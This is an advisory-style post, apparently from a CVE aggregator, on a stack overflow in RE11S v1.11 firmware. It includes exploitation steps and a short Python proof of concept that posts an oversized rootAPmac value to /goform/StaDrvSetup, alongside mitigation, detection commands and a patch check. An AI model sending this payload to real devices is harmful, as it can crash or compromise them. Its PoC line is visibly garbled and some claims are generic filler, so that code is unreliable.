How the CVE Works
CVE-2025-22913 is a critical stack-based buffer overflow vulnerability in RE11S v1.11 firmware. The flaw exists in the `formStaDrvSetup` function, where improper bounds checking on the `rootAPmac` parameter allows an attacker to overwrite the stack. By sending a specially crafted HTTP POST request with an oversized `rootAPmac` value, an attacker can corrupt memory, execute arbitrary code, or crash the device. The lack of input validation leads to uncontrolled data copying into a fixed-size buffer, enabling remote exploitation with high privileges.
DailyCVE Form
Platform: RE11S
Version: v1.11
Vulnerability: Stack Overflow
Severity: Critical
Date: 04/09/2025
What Undercode Say:
Exploitation:
- Craft an HTTP POST request with an oversized `rootAPmac` payload.
2. Target the `/goform/StaDrvSetup` endpoint.
3. Overwrite return addresses to redirect execution flow.
Proof of Concept (PoC) Code:
import requests
target = "http://<TARGET_IP>/goform/StaDrvSetup"
payload = "A" 1024 Overflow buffer
data = {"rootAPmac": payload}
requests.post(target, data=data)
Mitigation:
1. Apply vendor firmware updates.
2. Implement input validation on `rootAPmac`.
3. Enable stack canaries and DEP.
Detection Commands:
Check vulnerable version: curl -I http://<TARGET_IP>/version | grep "RE11S v1.11" Monitor logs for exploitation attempts: grep "POST /goform/StaDrvSetup" /var/log/httpd.log
Patch Analysis:
- Vendor patch adds length checks:
if (strlen(rootAPmac) > 32) { return ERROR_INVALID_INPUT; }
Exploit Impact:
- Remote code execution (RCE) as root.
- Device compromise leading to network infiltration.
Defensive Measures:
- Deploy WAF rules to block oversized `rootAPmac` values.
- Segment IoT devices to limit lateral movement.
- Use exploit prevention tools like ASLR.
References:
- MITRE CVE-2025-22913
- Vendor advisory: RE11S-SB-2025-001
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-22913
Extra Source Hub:
Undercode
